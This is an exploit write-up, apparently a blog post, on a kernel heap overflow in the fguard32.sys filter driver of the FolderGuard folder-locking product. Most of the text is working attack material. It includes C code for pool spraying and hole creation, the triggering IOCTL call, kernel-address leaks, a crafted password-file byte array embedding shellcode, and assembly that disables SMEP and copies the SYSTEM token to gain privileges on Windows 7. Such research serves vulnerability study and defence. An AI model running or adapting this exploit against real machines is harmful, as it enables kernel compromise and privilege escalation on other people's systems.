Exploiting FGuard.sys

[Intro]

Some time ago I looked for a driver to play with. I wanted to find a vuln and to exploit it. After picking a few random drivers from the internet I’ve stumbled upon Folder guard. This application implements folder locking with password, you can read more at: https://www.winability.com/folderguard/ To enforce folder locking FolderGuard leverages legacy file system filter driver fguard32[64].sys.


Examination of configuration parser revealed kernel heap overflow in the parser of passwords file (FGuard.fgp). When user locks folder from the UI, FolderGuard creates an entry in the fgp file with the following layout:

00000000 PROTECTED_DIR_DESCRIPTOR struc ; (sizeof=0x2A4, mappedto_295)
00000000 HashCount       dd ?
00000004 field_4         dd ?
00000008 PathName        dw 260 dup(?)
00000210 field_210       dd ?
00000214 Hash            db 32 dup(?)
00000234 Padding         dd 28 dup(?)
000002A4 PROTECTED_DIR_DESCRIPTOR ends

Pay attention to HashCount and Hash fields, this where we will have fun. On loading or receiving certain IoCtl the driver parses the fgp file and creates in-memory list of entries. The parse doesn’t verify HashCount field allowing an attacker to set it to a bigger value than actual amount of entries.

    // Allocation of the entry buffer
    PassDescrBuff = ExAllocatePoolWrap(0x2A4u);
    pPassDescr = 0;
    // Initialze allocated entry
    if (PassDescrBuff)
        pPassDescr = InitPasswordDescr(PassDescrBuff, 0, 0);
    // Lol, what if the allocation fails?
    pPassDescr->HashCount = *v5;
    pPassDescr->field_4 = v5[1];
    SafeCopyWStringWrap(pPassDescr->PathName, 0x104u, (int)(v5 + 2));
    v8 = pPassDescr->PathName;
    do
    {
        v9 = *v8;
        ++v8;
    } while (v9);
    UpcaseWString((WCHAR *)pPassDescr->PathName, v8 - &pPassDescr->PathName[1] + 1);
    Count = 0;
    if (pPassDescr->HashCount)
    {
        v25 = v5 + 0x85;
        v10 = &pPassDescr->field_210;
        v11 = (char *)v5 - (char *)pPassDescr;
        do
        {
            v12 = *(int *)((char *)v10 + v11);
            v13 = v25;
            ++Count;
            v25 += 9;
            *v10 = v12;
            // Welcome the overflow
            qmemcpy(v10 + 1, v13, 0x20u);
            v10 += 9;
            // We control pPassDescr->HashCount, hence control the overflow
        } while (Count < pPassDescr->HashCount);
        v5 = v23;
    }

So, we can overflow the buffer with arbitrary content that comes from the fgp file. Starting with Windows 8 kernel buffer overflows are not that useful. Windows 7, however, has less mitigations and is vulnerable to heap spray attack.

[Spray different]

I didn’t want just copypaste an existing kernel heap spray implementation but rather wanted to do my own. Browsing HEVD source code I’ve decided to spray the heap with one of the Object manager objects. Creating an object wasn’t a problem: calling certain API function gazillion times did the job. Passing control to the allocated object or some arbitrary code was more problematic.

[FAST_IO_DISPATCH to the rescue]

Windows asynchronus IO model heavily relies on I/O Request Packet (IRP) concept. Whenever an application requests an IO operation from a driver Windows kernel allocates an IRP structure and sends it down to the target device stack. While travelling the stack an IRP might be pended by any driver, e.g. in case the driver doesn’t have the requested data at the moment. Some drivers, however, don’t need these complications. And this is where FAST_IO_DISPATCH comes into play. If a driver can complete requests solely by itself, it can register fast dispatch handlers by setting FastIoDispatch field of its driver object. (I think it’s a must for all FSD drivers). _FAST_IO_DISPATCH struct is just a function table:

typedef struct _FAST_IO_DISPATCH {
  ULONG                                  SizeOfFastIoDispatch;
  PFAST_IO_CHECK_IF_POSSIBLE             FastIoCheckIfPossible;
  PFAST_IO_READ                          FastIoRead;
  PFAST_IO_WRITE                         FastIoWrite;
  PFAST_IO_QUERY_BASIC_INFO              FastIoQueryBasicInfo;
  PFAST_IO_QUERY_STANDARD_INFO           FastIoQueryStandardInfo;
  PFAST_IO_LOCK                          FastIoLock;
  PFAST_IO_UNLOCK_SINGLE                 FastIoUnlockSingle;
  PFAST_IO_UNLOCK_ALL                    FastIoUnlockAll;
  PFAST_IO_UNLOCK_ALL_BY_KEY             FastIoUnlockAllByKey;
  PFAST_IO_DEVICE_CONTROL                FastIoDeviceControl;
  PFAST_IO_ACQUIRE_FILE                  AcquireFileForNtCreateSection;
  PFAST_IO_RELEASE_FILE                  ReleaseFileForNtCreateSection;
  PFAST_IO_DETACH_DEVICE                 FastIoDetachDevice;
  PFAST_IO_QUERY_NETWORK_OPEN_INFO       FastIoQueryNetworkOpenInfo;
  PFAST_IO_ACQUIRE_FOR_MOD_WRITE         AcquireForModWrite;
  PFAST_IO_MDL_READ                      MdlRead;
  PFAST_IO_MDL_READ_COMPLETE             MdlReadComplete;
  PFAST_IO_PREPARE_MDL_WRITE             PrepareMdlWrite;
  PFAST_IO_MDL_WRITE_COMPLETE            MdlWriteComplete;
  PFAST_IO_READ_COMPRESSED               FastIoReadCompressed;
  PFAST_IO_WRITE_COMPRESSED              FastIoWriteCompressed;
  PFAST_IO_MDL_READ_COMPLETE_COMPRESSED  MdlReadCompleteCompressed;
  PFAST_IO_MDL_WRITE_COMPLETE_COMPRESSED MdlWriteCompleteCompressed;
  PFAST_IO_QUERY_OPEN                    FastIoQueryOpen;
  PFAST_IO_RELEASE_FOR_MOD_WRITE         ReleaseForModWrite;
  PFAST_IO_ACQUIRE_FOR_CCFLUSH           AcquireForCcFlush;
  PFAST_IO_RELEASE_FOR_CCFLUSH           ReleaseForCcFlush;
} FAST_IO_DISPATCH, *PFAST_IO_DISPATCH;

When an application performs an IO operation, syscall handler (e.g. NtReadFile in case of ReadFile) checks FO_SYNCHRONOUS_IO flag of the corresponding file object and, if it’s set, calls FastIo handler of the corresponding driver object. Sounds promising, isn’t it?

[Let’s do it]

So, using the overflow, we will build the following chain of object in the kernel pool: Object chain We can’t do it with a single overflow, instead, we will trigger the overflow a few times, building one object at a time in reverse order. After every successfull overflow we need to locate the constructed object in memory and to use the obtained pointer to build the next object. To locate the object we mark it with special PointerCount and HandleCount values in the object header. Once overflow succeeds we use NtQueryObject to figure out which handle in the array points to the object and then use NtQuerySystemInformation to get the address of the object. Since fguard.sys reads the fgp file from disk, we drop the rogue fgp file before every overflow.

After dropping the file we start with regular spraying:

BOOL SprayObjects()
{
    BOOL   r;
    DWORD  err;

    r = TRUE;
    RtlFillMemory(ObjectArrayA, sizeof(ObjectArrayA), 0x0);
    RtlFillMemory(ObjectArrayB, sizeof(ObjectArrayB), 0x0);

    for (UINT32 i = 0; i < ARR_1_LEN; i++)
    {
        ObjectArrayA[i] = CreateFileW(L"1.txt", GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, 0, OPEN_ALWAYS, 0, NULL);

        if (ObjectArrayA[i] == INVALID_HANDLE_VALUE)
        {
            err = GetLastError();
            printf("CreateFileW failed: %d\n", err);
            r = FALSE;
            goto Exit;
        }
    }

    for (UINT32 i = 0; i < ARR_2_LEN; i++)
    {
        ObjectArrayB[i] = CreateFileW(L"1.txt", GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, 0, OPEN_ALWAYS, 0, NULL);

        if (ObjectArrayB[i] == INVALID_HANDLE_VALUE)
        {
            err = GetLastError();
            printf("CreateFileW failed: %d\n", err);
            r = FALSE;
            goto Exit;
        }
    }

Exit:
    return r;
}

Then we create holes. Every hole should be slightly bigger than the size of PROTECTED_DIR_DESCRIPTOR (0x2A4 bytes):

BOOL CreateHoles()
{
    BOOL   r;
    UINT32 i = 0;
    UINT32 j = 0;

    r = TRUE;
    for (i = 0; i < ARR_2_LEN; i += 16)
    {
#ifdef _AMD64_
        for (j = 0; j < 3; j++)
#else
        for (j = 0; j < 4; j++)
#endif
        {
            if (CloseHandle(ObjectArrayB[i + j]) == TRUE)
            {
                ObjectArrayB[i + j] = NULL;
            }
            else
            {
                DWORD err;

                err = GetLastError();
                printf("CloseHandle for " __FUNCTION__ " failed: %d\n", err);
                r = FALSE;
                goto Exit;
            }
        }
    }

Exit:
    return r;
}

Trigger the overflow by issueing the IoCTL:

DeviceIoControl(hDevice, 0x85020004, &InputBuffer, 8, &OutBuffer, 4, &ReturnedLength, NULL);

Go over the array looking for the handle:

HANDLE LookupMarkedHandle()
{
    HANDLE r;
    UINT32 i;
    OBJECT_BASIC_INFORMATION ObjInfo;

    r = NULL;

    for (i = 0; i < ARR_2_LEN; i++)
    {
        if ((ObjectArrayB[i]) != NULL &&
            (QueryObject(ObjectArrayB[i], &ObjInfo) == TRUE))
        {
            if (ObjInfo.HandleCount >= 0x2000)
            {
                r = ObjectArrayB[i];
                break;
            }
        }
    }

    return r;
}

Get the address of the object:

PVOID GetObjectByHandle(HANDLE hObject)
{
    BOOL     r;
    NTSTATUS status;
    DWORD    Pid;
    DWORD    ReturnedLength;
    PVOID    pObject;
    SYSTEM_HANDLE_INFORMATION_EX  HandleInfo;
    PSYSTEM_HANDLE_INFORMATION_EX pHandleInfo;

    r = FALSE;
    pObject = NULL;

    NtQuerySystemInformation_t pNtQuerySysInfo;
    pNtQuerySysInfo = (NtQuerySystemInformation_t)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQuerySystemInformation");
    if (pNtQuerySysInfo == NULL)
    {
        printf("Failed to get NtQuerySystemInformation\n");
        goto Exit;
    }

    status = pNtQuerySysInfo(SystemExtendedHandleInformation, &HandleInfo, sizeof(HandleInfo), &ReturnedLength);
    if (status != STATUS_INFO_LENGTH_MISMATCH)
    {
        printf("NtQuerySystemInformation unexpected status: %x\n", status);
        goto Exit;
    }

    pHandleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)HeapAlloc(GetProcessHeap(), 0, ReturnedLength);
    if (pHandleInfo == NULL)
    {
        printf("HeapAlloc for " __FUNCTION__ " failed\n");
        goto Exit;
    }

    status = pNtQuerySysInfo(SystemExtendedHandleInformation, pHandleInfo, ReturnedLength, &ReturnedLength);
    if (NT_SUCCESS(status) == FALSE)
    {
        printf("NtQuerySystemInformation failed: %x\n", status);
        goto FreeExit;
    }

    Pid = GetCurrentProcessId();
    for (ULONG_PTR i = 0; i < pHandleInfo->NumberOfHandles; i++)
    {
        if ((pHandleInfo->Handles[i].UniqueProcessId == Pid))
        {
            if (pHandleInfo->Handles[i].HandleValue == (ULONG_PTR)hObject)
            {
                pObject = pHandleInfo->Handles[i].Object;
                break;
            }
        }
    }

FreeExit:
    HeapFree(GetProcessHeap(), 0, pHandleInfo);
Exit:
    return pObject;
}

Glueing all together:

BOOL Overflow(
    HANDLE hDevice,
    PVOID *pObject,
    PHANDLE pHandle
)
{
    BOOL  r;
    DWORD ReturnedLength;
    LARGE_INTEGER InputBuffer;
    DWORD OutBuffer;
    DWORD err;

    *pObject = NULL;
    *pHandle = NULL;

    r = SprayObjects();
    if (r == FALSE)
    {
        printf("SprayObjects failed\n");
        goto Exit;
    }
    r = CreateHoles();
    if (r == FALSE)
    {
        printf("CreateHoles failed\n");
        goto Exit;
    }

    InputBuffer.LowPart = 0xFFFFFFFF;
    InputBuffer.HighPart = 0xFFFFFFFF;
    r = DeviceIoControl(hDevice, 0x85020004, &InputBuffer, 8, &OutBuffer, 4, &ReturnedLength, NULL);
    if (r == FALSE)
    {
        err = GetLastError();
        printf("DeviceIoControl 'on' failed: %d\n", err);
    }
    else
    {
        *pHandle = LookupMarkedHandle();
        if (*pHandle == NULL)
        {
            printf("LookupMarkedHandle failed\n");
        }
        else
        {
            *pObject = GetObjectByHandle(*pHandle);
            if (*pObject == NULL)
            {
                printf("GetObjectByHandle for handle: %p failed\n", *pHandle);
                *pHandle = NULL;
            }
            else
            {
                printf("Object: %p, keeping handle %p\n", *pObject, *pHandle);
            }
        }

        InputBuffer.LowPart = 0x0;
        InputBuffer.HighPart = 0x0;
        r = DeviceIoControl(hDevice, 0x85020004, &InputBuffer, 8, &OutBuffer, 4, &ReturnedLength, 0);
        if (r == FALSE)
        {
            err = GetLastError();
            printf("DeviceIoControl 'off' failed: %d\n", err);
        }
    }

    r = FreeObjects(*pHandle);
    if (r == FALSE)
    {
        printf("FreeObjects failed\n");
        goto Exit;
    }

Exit:
    return r;
}

Now let’s move to the content of the fgp file. The first object we build is the payload, the code that will be called by nt!NtReadFile. If spraying was successfull we expect to get the following memory layout just before the overflow (which happens at fguard32+B4C8 for 32bit driver):

kd> !pool @edi
Pool page 864e9d44 region is Nonpaged pool
 864e9000 size:   b8 previous size:    0  (Allocated)  File (Protected)
 864e90b8 size:  1a0 previous size:   b8  (Free)       ....
 864e9258 size:   b8 previous size:  1a0  (Allocated)  File (Protected)
 864e9310 size:   b8 previous size:   b8  (Allocated)  File (Protected)
 864e93c8 size:   b8 previous size:   b8  (Allocated)  File (Protected)
 864e9480 size:   b8 previous size:   b8  (Allocated)  File (Protected)
 864e9538 size:   b8 previous size:   b8  (Allocated)  File (Protected)
 864e95f0 size:   b8 previous size:   b8  (Allocated)  File (Protected)
 864e96a8 size:   b8 previous size:   b8  (Allocated)  File (Protected)
 864e9760 size:   b8 previous size:   b8  (Allocated)  File (Protected)
 864e9818 size:   b8 previous size:   b8  (Allocated)  File (Protected)
 864e98d0 size:   b8 previous size:   b8  (Allocated)  File (Protected)
 864e9988 size:   b8 previous size:   b8  (Allocated)  File (Protected)
 864e9a40 size:   b8 previous size:   b8  (Allocated)  File (Protected)
 864e9af8 size:   30 previous size:   b8  (Free)       File
*864e9b28 size:  2b0 previous size:   30  (Allocated) *None              ;PROTECTED_DIR_DESCRIPTOR buffer
		Pooltag None : call to ExAllocatePool
 864e9dd8 size:   b8 previous size:  2b0  (Allocated)  File (Protected)  ;This FILE_OBJECT will be overwitten
 864e9e90 size:   b8 previous size:   b8  (Allocated)  File (Protected)
 864e9f48 size:   b8 previous size:   b8  (Allocated)  File (Protected)

The content of the file object before the overflow:

kd> db 865228d0 LB8
865228d0  56 00 17 04 46 69 6c e5-00 04 00 00 f8 00 00 00  V...Fil.........
865228e0  00 00 00 00 00 00 00 00-48 58 96 85 01 00 00 00  ........HX......
865228f0  01 00 00 00 01 00 00 00-00 00 00 00 1c 00 0c 40  ...............@
86522900  40 c0 8c 85 00 00 00 00-05 00 80 00 18 12 c0 84  @...............
86522910  48 a9 bf 84 f8 39 48 a2-90 5b 53 a2 a0 ed 7e 85  H....9H..[S...~.
86522920  00 00 00 00 00 00 00 00-b8 68 d8 85 00 00 01 00  .........h......
86522930  00 01 01 01 42 00 04 00-14 00 14 00 08 ce 7a 8f  ....B.........z.
86522940  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
86522950  00 00 00 00 01 00 04 00-00 00 00 00 5c 29 52 86  ............\)R.
86522960  5c 29 52 86 00 00 04 00-01 00 00 00 6c 29 52 86  \)R.........l)R.
86522970  6c 29 52 86 00 00 00 00-00 00 00 00 7c 29 52 86  l)R.........|)R.
86522980  7c 29 52 86 00 00 00 00                          |)R.....
kd> dt _object_header 865228f0
nt!_OBJECT_HEADER
   +0x000 PointerCount     : 0n1
   +0x004 HandleCount      : 0n1
   +0x004 NextToFree       : 0x00000001 Void
   +0x008 Lock             : _EX_PUSH_LOCK
   +0x00c TypeIndex        : 0x1c ''
   +0x00d TraceFlags       : 0 ''
   +0x00e InfoMask         : 0xc ''
   +0x00f Flags            : 0x40 '@'
   +0x010 ObjectCreateInfo : 0x858cc040 _OBJECT_CREATE_INFORMATION
   +0x010 QuotaBlockCharged : 0x858cc040 Void
   +0x014 SecurityDescriptor : (null) 
   +0x018 Body             : _QUAD

We need to preserve the structre and some values of the pool header and the object header of the file object at 0x864e9dd8. Also, as it was said before, we need to mark the object with special values in the object header. The following fgp file does the job:

unsigned char Payload[1276] = {
    0x46, 0x47, 0x50, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x02, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x42, 0xC0, 0x27, 0x00, 0x43, 0x00, 0x3A, 0x00,
    0x7C, 0x00, 0x4C, 0x00, 0x50, 0x00, 0x50, 0x00, 0x31, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00,
    //POOL_HEADER
    0x56, 0x00, 0x17, 0x04, 0x46, 0x69, 0x6C, 0xE5,
    //OBJECT OPTIONAL HEADERS
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    //OBJECT_HEADER
    0x22, 0x22, 0x00, 0x00, 0x22, 0x22, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, 0x00, 0x04, 0x40,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    //BODY, +0x2F0

    0xCC, 0xE8, 0x00, 0x00, 0x00, 0x00, 0x59, 0x83, 0xE9, 0x06, 0x0F, 0x20, 0xE0, 0x0F, 0xBA, 0xF0,
    0x14, 0x0F, 0x22, 0xE0, 0xFF, 0x51, 0x27, 0x8B, 0x44, 0x24, 0x1C, 0x31, 0xD2, 0x89, 0x10, 0x89,
    0x50, 0x04, 0xB0, 0x01, 0xC2, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x91, 0x00, 0x52, 0x22,
    0xD2, 0x9F, 0x92, 0xCC, 0x9B, 0x2E, 0x7F, 0x5F, 0xCC, 0xD1, 0x65, 0x0E, 0x36, 0x24, 0x10, 0x98,
    0xBA, 0x4B, 0x76, 0xE6, 0x6C, 0xCE, 0x57, 0x19, 0x16, 0x1B, 0x27, 0x9B, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};

The payload starts in the body of the file object and contains shellcode that matches _FAST_IO_DISPATCH::FastIoRead prototype:

BOOLEAN
NTAPI
FastIoRead(
    _In_ PFILE_OBJECT FileObject,
    _In_ PLARGE_INTEGER FileOffset,
    _In_ ULONG Length,
    _In_ BOOLEAN Wait,
    _In_ ULONG LockKey,
    _Out_ PVOID Buffer,
    _Out_ PIO_STATUS_BLOCK IoStatus,
    _In_ PDEVICE_OBJECT DeviceObject);

The shellcode executes in kernel mode with CPL=0. It jumps to the procedure that copies pointer to SYSTEM token to the EPROCESS struct of the current process.

use32

 int3
 call @f
@@:
 pop ecx
 sub ecx, (@b - $$)
 mov eax, cr4
 btr eax, 20
 mov cr4, eax
 call dword [ecx + StealSysToken]
.Exit:
 mov eax,[esp + 1Ch]
 ;mov eax,[esp + 0x20]
 xor edx, edx
 mov [eax], edx
 mov [eax + 4], edx
 mov al, 1
 ret 0x20
 
StealSysToken: dd 0x0

The content of the file object after the overflow:

kd> db 865228d0 LB8
865228d0  56 00 17 04 46 69 6c e5-00 00 00 00 00 00 00 00  V...Fil.........
865228e0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
